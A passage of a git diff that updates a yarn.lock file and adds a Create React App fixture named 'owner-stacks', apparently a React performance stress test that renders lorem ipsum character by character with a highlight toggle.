   integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==
 
 webpack@^5.64.4:
-  version "5.74.0"
-  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.74.0.tgz#02a5dac19a17e0bb47093f2be67c695102a55980"
-  integrity sha512-A2InDwnhhGN4LYctJj6M1JEaGL7Luj6LOmyBHjcI8529cm5p6VXiTIW2sn6ffvEAKmveLzvu4jrihwXtPojlAA==
+  version "5.93.0"
+  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.93.0.tgz#2e89ec7035579bdfba9760d26c63ac5c3462a5e5"
+  integrity sha512-Y0m5oEY1LRuwly578VqluorkXbvXKh7U3rLoQCEO04M97ScRr44afGVkI0FQFsXzysk5OgFAxjZAb9rsGQVihA==
   dependencies:
     "@types/eslint-scope" "^3.7.3"
-    "@types/estree" "^0.0.51"
-    "@webassemblyjs/ast" "1.11.1"
-    "@webassemblyjs/wasm-edit" "1.11.1"
-    "@webassemblyjs/wasm-parser" "1.11.1"
+    "@types/estree" "^1.0.5"
+    "@webassemblyjs/ast" "^1.12.1"
+    "@webassemblyjs/wasm-edit" "^1.12.1"
+    "@webassemblyjs/wasm-parser" "^1.12.1"
     acorn "^8.7.1"
-    acorn-import-assertions "^1.7.6"
-    browserslist "^4.14.5"
+    acorn-import-attributes "^1.9.5"
+    browserslist "^4.21.10"
     chrome-trace-event "^1.0.2"
-    enhanced-resolve "^5.10.0"
-    es-module-lexer "^0.9.0"
+    enhanced-resolve "^5.17.0"
+    es-module-lexer "^1.2.1"
     eslint-scope "5.1.1"
     events "^3.2.0"
     glob-to-regexp "^0.4.1"
-    graceful-fs "^4.2.9"
+    graceful-fs "^4.2.11"
     json-parse-even-better-errors "^2.3.1"
     loader-runner "^4.2.0"
     mime-types "^2.1.27"
     neo-async "^2.6.2"
-    schema-utils "^3.1.0"
+    schema-utils "^3.2.0"
     tapable "^2.1.1"
-    terser-webpack-plugin "^5.1.3"
-    watchpack "^2.4.0"
+    terser-webpack-plugin "^5.3.10"
+    watchpack "^2.4.1"
     webpack-sources "^3.2.3"
 
 whatwg-encoding@^1.0.5:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
+  integrity sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==
   dependencies:
     iconv-lite "0.4.24"
 
 whatwg-mimetype@^2.3.0:
   version "2.3.0"
   resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
+  integrity sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==
 
-whatwg-url@^8.0.0:
-  version "8.4.0"
-  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.4.0.tgz#50fb9615b05469591d2b2bd6dfaed2942ed72837"
-  integrity sha512-vwTUFf6V4zhcPkWp/4CQPr1TW9Ml6SF4lVyaIMBdJw5i6qUUJ1QWM4Z6YYVkfka0OUIzVo/0aNtGVGk256IKWw==
-  dependencies:
-    lodash.sortby "^4.7.0"
-    tr46 "^2.0.2"
-    webidl-conversions "^6.1.0"
-
-whatwg-url@^8.5.0:
+whatwg-url@^8.0.0, whatwg-url@^8.5.0:
   version "8.7.0"
   resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.7.0.tgz#656a78e510ff8f3937bc0bcbe9f5c0ac35941b77"
   integrity sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==
@@ -8541,9 +9400,32 @@ whatwg-url@^8.5.0:
     tr46 "^2.1.0"
     webidl-conversions "^6.1.0"
 
+which-boxed-primitive@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz#13757bc89b209b049fe5d86430e21cf40a89a8e6"
+  integrity sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==
+  dependencies:
+    is-bigint "^1.0.1"
+    is-boolean-object "^1.1.0"
+    is-number-object "^1.0.4"
+    is-string "^1.0.5"
+    is-symbol "^1.0.3"
+
+which-typed-array@^1.1.14, which-typed-array@^1.1.15:
+  version "1.1.15"
+  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.15.tgz#264859e9b11a649b388bfaaf4f767df1f779b38d"
+  integrity sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    has-tostringtag "^1.0.2"
+
 which@^1.3.1:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
+  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
   dependencies:
     isexe "^2.0.0"
 
@@ -8557,8 +9439,9 @@ which@^2.0.1:
 wordwrap@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb"
+  integrity sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==
 
-wrap-ansi@^7.0.0:
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0", wrap-ansi@^7.0.0:
   version "7.0.0"
   resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
   integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
@@ -8567,9 +9450,19 @@ wrap-ansi@^7.0.0:
     string-width "^4.1.0"
     strip-ansi "^6.0.0"
 
+wrap-ansi@^8.1.0:
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
+  integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==
+  dependencies:
+    ansi-styles "^6.1.0"
+    string-width "^5.0.1"
+    strip-ansi "^7.0.1"
+
 wrappy@1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==
 
 write-file-atomic@^3.0.0:
   version "3.0.3"
@@ -8582,24 +9475,20 @@ write-file-atomic@^3.0.0:
     typedarray-to-buffer "^3.1.5"
 
 ws@^7.4.6:
-  version "7.5.9"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.9.tgz#54fa7db29f4c7cec68b1ddd3a89de099942bb591"
-  integrity sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==
+  version "7.5.10"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-7.5.10.tgz#58b5c20dc281633f6c19113f39b349bd8bd558d9"
+  integrity sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==
 
 xml-name-validator@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
+  integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==
 
 xmlchars@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
   integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==
 
-xtend@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-  integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==
-
 y18n@^5.0.5:
   version "5.0.8"
   resolved "https://registry.yarnpkg.com/y18n/-/y18n-5.0.8.tgz#7f4934d0f7ca8c56f95314939ddcd2dd91ce1d55"
@@ -8610,27 +9499,22 @@ yallist@^3.0.2:
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
   integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
 
-yallist@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
-  integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
-
-yaml@^1.10.0, yaml@^1.7.2:
-  version "1.10.0"
-  resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.0.tgz#3b593add944876077d4d683fee01081bd9fff31e"
-  integrity sha512-yr2icI4glYaNG+KWONODapy2/jDdMSDnrONSjblABjD9B4Z5LgiircSt8m8sRZFNi08kG9Sm0uSHtEmP3zaEGg==
-
-yaml@^1.10.2:
+yaml@^1.10.0, yaml@^1.10.2, yaml@^1.7.2:
   version "1.10.2"
   resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
   integrity sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==
 
+yaml@^2.3.4:
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/yaml/-/yaml-2.5.0.tgz#c6165a721cf8000e91c36490a41d7be25176cf5d"
+  integrity sha512-2wWLbGbYDiSqqIKoPjar3MPgB94ErzCtrNE1FdqGuaO0pi2JGjmE8aW8TDZwzU7vuxcGRdL/4gPQwQ7hD5AMSw==
+
 yargs-parser@^20.2.2:
   version "20.2.9"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.9.tgz#2eb7dc3b0289718fc295f362753845c41a0c94ee"
   integrity sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==
 
-yargs-parser@^21.0.0:
+yargs-parser@^21.1.1:
   version "21.1.1"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-21.1.1.tgz#9096bceebf990d21bb31fa9516e0ede294a77d35"
   integrity sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==
@@ -8649,17 +9533,17 @@ yargs@^16.2.0:
     yargs-parser "^20.2.2"
 
 yargs@^17.3.1:
-  version "17.5.1"
-  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.5.1.tgz#e109900cab6fcb7fd44b1d8249166feb0b36e58e"
-  integrity sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==
+  version "17.7.2"
+  resolved "https://registry.yarnpkg.com/yargs/-/yargs-17.7.2.tgz#991df39aca675a192b816e1e0363f9d75d2aa269"
+  integrity sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==
   dependencies:
-    cliui "^7.0.2"
+    cliui "^8.0.1"
     escalade "^3.1.1"
     get-caller-file "^2.0.5"
     require-directory "^2.1.1"
     string-width "^4.2.3"
     y18n "^5.0.5"
-    yargs-parser "^21.0.0"
+    yargs-parser "^21.1.1"
 
 yocto-queue@^0.1.0:
   version "0.1.0"
diff --git a/fixtures/owner-stacks/.gitignore b/fixtures/owner-stacks/.gitignore
new file mode 100644
index 000000000000..4d29575de804
--- /dev/null
+++ b/fixtures/owner-stacks/.gitignore
@@ -0,0 +1,23 @@
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.js
+
+# testing
+/coverage
+
+# production
+/build
+
+# misc
+.DS_Store
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
diff --git a/fixtures/owner-stacks/README.md b/fixtures/owner-stacks/README.md
new file mode 100644
index 000000000000..c0541f9c04d5
--- /dev/null
+++ b/fixtures/owner-stacks/README.md
@@ -0,0 +1,70 @@
+# Getting Started with Create React App
+
+This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).
+
+## Available Scripts
+
+In the project directory, you can run:
+
+### `yarn start`
+
+Runs the app in the development mode.\
+Open [http://localhost:3000](http://localhost:3000) to view it in your browser.
+
+The page will reload when you make changes.\
+You may also see any lint errors in the console.
+
+### `yarn test`
+
+Launches the test runner in the interactive watch mode.\
+See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.
+
+### `yarn build`
+
+Builds the app for production to the `build` folder.\
+It correctly bundles React in production mode and optimizes the build for the best performance.
+
+The build is minified and the filenames include the hashes.\
+Your app is ready to be deployed!
+
+See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information.
+
+### `yarn eject`
+
+**Note: this is a one-way operation. Once you `eject`, you can't go back!**
+
+If you aren't satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project.
+
+Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you're on your own.
+
+You don't have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn't feel obligated to use this feature. However we understand that this tool wouldn't be useful if you couldn't customize it when you are ready for it.
+
+## Learn More
+
+You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started).
+
+To learn React, check out the [React documentation](https://reactjs.org/).
+
+### Code Splitting
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/code-splitting](https://facebook.github.io/create-react-app/docs/code-splitting)
+
+### Analyzing the Bundle Size
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size](https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size)
+
+### Making a Progressive Web App
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app](https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app)
+
+### Advanced Configuration
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/advanced-configuration](https://facebook.github.io/create-react-app/docs/advanced-configuration)
+
+### Deployment
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/deployment](https://facebook.github.io/create-react-app/docs/deployment)
+
+### `yarn build` fails to minify
+
+This section has moved here: [https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify](https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify)
diff --git a/fixtures/owner-stacks/package.json b/fixtures/owner-stacks/package.json
new file mode 100644
index 000000000000..2798aab568ec
--- /dev/null
+++ b/fixtures/owner-stacks/package.json
@@ -0,0 +1,36 @@
+{
+  "name": "owner-stacks",
+  "version": "0.1.0",
+  "private": true,
+  "dependencies": {
+    "react": "experimental",
+    "react-dom": "experimental",
+    "react-scripts": "5.0.1",
+    "web-vitals": "^2.1.0"
+  },
+  "scripts": {
+    "prestart": "cp -a ../../build/oss-experimental/. node_modules && rm -rf node_modules/.cache;",
+    "start": "react-scripts start",
+    "build": "react-scripts build",
+    "test": "react-scripts test",
+    "eject": "react-scripts eject"
+  },
+  "eslintConfig": {
+    "extends": [
+      "react-app",
+      "react-app/jest"
+    ]
+  },
+  "browserslist": {
+    "production": [
+      ">0.2%",
+      "not dead",
+      "not op_mini all"
+    ],
+    "development": [
+      "last 1 chrome version",
+      "last 1 firefox version",
+      "last 1 safari version"
+    ]
+  }
+}
diff --git a/fixtures/owner-stacks/public/favicon.ico b/fixtures/owner-stacks/public/favicon.ico
new file mode 100644
index 000000000000..a11777cc471a
Binary files /dev/null and b/fixtures/owner-stacks/public/favicon.ico differ
diff --git a/fixtures/owner-stacks/public/index.html b/fixtures/owner-stacks/public/index.html
new file mode 100644
index 000000000000..aa069f27cbd9
--- /dev/null
+++ b/fixtures/owner-stacks/public/index.html
@@ -0,0 +1,43 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <link rel="icon" href="%PUBLIC_URL%/favicon.ico" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta name="theme-color" content="#000000" />
+    <meta
+      name="description"
+      content="Web site created using create-react-app"
+    />
+    <link rel="apple-touch-icon" href="%PUBLIC_URL%/logo192.png" />
+    <!--
+      manifest.json provides metadata used when your web app is installed on a
+      user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
+    -->
+    <link rel="manifest" href="%PUBLIC_URL%/manifest.json" />
+    <!--
+      Notice the use of %PUBLIC_URL% in the tags above.
+      It will be replaced with the URL of the `public` folder during the build.
+      Only files inside the `public` folder can be referenced from the HTML.
+
+      Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
+      work correctly both with client-side routing and a non-root public URL.
+      Learn how to configure a non-root public URL by running `npm run build`.
+    -->
+    <title>React App</title>
+  </head>
+  <body>
+    <noscript>You need to enable JavaScript to run this app.</noscript>
+    <div id="root"></div>
+    <!--
+      This HTML file is a template.
+      If you open it directly in the browser, you will see an empty page.
+
+      You can add webfonts, meta tags, or analytics to this file.
+      The build step will place the bundled scripts into the <body> tag.
+
+      To begin the development, run `npm start` or `yarn start`.
+      To create a production bundle, use `npm run build` or `yarn build`.
+    -->
+  </body>
+</html>
diff --git a/fixtures/owner-stacks/public/logo192.png b/fixtures/owner-stacks/public/logo192.png
new file mode 100644
index 000000000000..fc44b0a3796c
Binary files /dev/null and b/fixtures/owner-stacks/public/logo192.png differ
diff --git a/fixtures/owner-stacks/public/logo512.png b/fixtures/owner-stacks/public/logo512.png
new file mode 100644
index 000000000000..a4e47a6545bc
Binary files /dev/null and b/fixtures/owner-stacks/public/logo512.png differ
diff --git a/fixtures/owner-stacks/public/manifest.json b/fixtures/owner-stacks/public/manifest.json
new file mode 100644
index 000000000000..080d6c77ac21
--- /dev/null
+++ b/fixtures/owner-stacks/public/manifest.json
@@ -0,0 +1,25 @@
+{
+  "short_name": "React App",
+  "name": "Create React App Sample",
+  "icons": [
+    {
+      "src": "favicon.ico",
+      "sizes": "64x64 32x32 24x24 16x16",
+      "type": "image/x-icon"
+    },
+    {
+      "src": "logo192.png",
+      "type": "image/png",
+      "sizes": "192x192"
+    },
+    {
+      "src": "logo512.png",
+      "type": "image/png",
+      "sizes": "512x512"
+    }
+  ],
+  "start_url": ".",
+  "display": "standalone",
+  "theme_color": "#000000",
+  "background_color": "#ffffff"
+}
diff --git a/fixtures/owner-stacks/public/robots.txt b/fixtures/owner-stacks/public/robots.txt
new file mode 100644
index 000000000000..e9e57dc4d41b
--- /dev/null
+++ b/fixtures/owner-stacks/public/robots.txt
@@ -0,0 +1,3 @@
+# https://www.robotstxt.org/robotstxt.html
+User-agent: *
+Disallow:
diff --git a/fixtures/owner-stacks/src/App.css b/fixtures/owner-stacks/src/App.css
new file mode 100644
index 000000000000..3c9a8db9251d
--- /dev/null
+++ b/fixtures/owner-stacks/src/App.css
@@ -0,0 +1,62 @@
+.App-header {
+  background-color: #282c34;
+  min-height: 10vh;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  font-size: calc(10px + 2vmin);
+  color: white;
+}
+
+.page {
+  display: flex;
+  height: 90vh;
+}
+
+.content {
+  flex: 4;
+  background-color: #f0f0f0;
+  padding: 20px;
+  display: flex;
+  flex-direction: column;
+  text-align: left;
+}
+
+.content.highlight {
+  background-color: yellow;
+}
+
+.sidebar {
+  flex: 1;
+  background-color: #d0d0d0;
+  padding: 20px;
+}
+
+.line-number {
+  display: inline-block;
+  width: 30px;
+  text-align: right;
+  margin-right: 10px;
+  color: #888;
+}
+
+.text-symbol {
+  position: relative;
+  display: inline-block;
+}
+
+.hovercard {
+  display: none;
+  position: absolute;
+  top: -40px;
+  left: 0;
+  background-color: white;
+  border: 1px solid #ccc;
+  padding: 5px;
+  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
+  z-index: 10;
+}
+
+.text-symbol:hover .hovercard {
+  display: block;
+}
diff --git a/fixtures/owner-stacks/src/App.js b/fixtures/owner-stacks/src/App.js
new file mode 100644
index 000000000000..69d32f00e6b7
--- /dev/null
+++ b/fixtures/owner-stacks/src/App.js
@@ -0,0 +1,143 @@
+import {useState} from 'react';
+import {flushSync} from 'react-dom';
+import './App.css';
+
+const text = `
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+ Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+  Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+  Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+  `;
+
+const loremIpsum = text + text;
+
+function TextSymbol({char, highlight}) {
+  const randomColor = highlight
+    ? `#${Math.floor(Math.random() * 16777215).toString(16)}`
+    : 'transparent';
+  return (
+    <span className="text-symbol" style={{backgroundColor: randomColor}}>
+      {char}
+      <div className="hovercard">
+        <p>Character: {char}</p>
+        <p>Color: {randomColor}</p>
+      </div>
+    </span>
+  );
+}
+
+function TextLine({sentence, highlight, lineNumber}) {
+  const randomColor = highlight
+    ? `#${Math.floor(Math.random() * 16777215).toString(16)}`
+    : 'transparent';
+  return (
+    <div style={{backgroundColor: randomColor}}>
+      <span className="line-number">{lineNumber}</span>
+      {sentence.split('').map((char, index) => (
+        <TextSymbol key={index} char={char} highlight={highlight} />
+      ))}
+    </div>
+  );
+}
+
+function App() {
+  const [highlight, setHighlight] = useState(false);
+
+  const toggleHighlight = () => {
+    console.time('toggleHighlight');
+    flushSync(() => {
+      setHighlight(!highlight);
+    });
+    console.timeEnd('toggleHighlight');
+  };
+
+  return (
+    <div className="App">
+      <header className="App-header">Owner Stacks Stress Test</header>
+      <div className="page">
+        <div className={`content ${highlight ? 'highlight' : ''}`}>
+          {loremIpsum
+            .trim()
+            .split('\n')
+            .map((sentence, index) => (
+              <TextLine
+                key={index}
+                sentence={sentence.trim()}
+                highlight={highlight}
+                lineNumber={index + 1}
+              />
+            ))}
+        </div>
+        <div className="sidebar">
+          <button onClick={toggleHighlight}>
+            {highlight ? 'Remove Highlight' : 'Highlight Content'}
+          </button>
+        </div>
+      </div>
+    </div>
+  );
+}
+
+export default App;
diff --git a/fixtures/owner-stacks/src/index.css b/fixtures/owner-stacks/src/index.css
new file mode 100644
index 000000000000..ec2585e8c0bb
--- /dev/null
+++ b/fixtures/owner-stacks/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
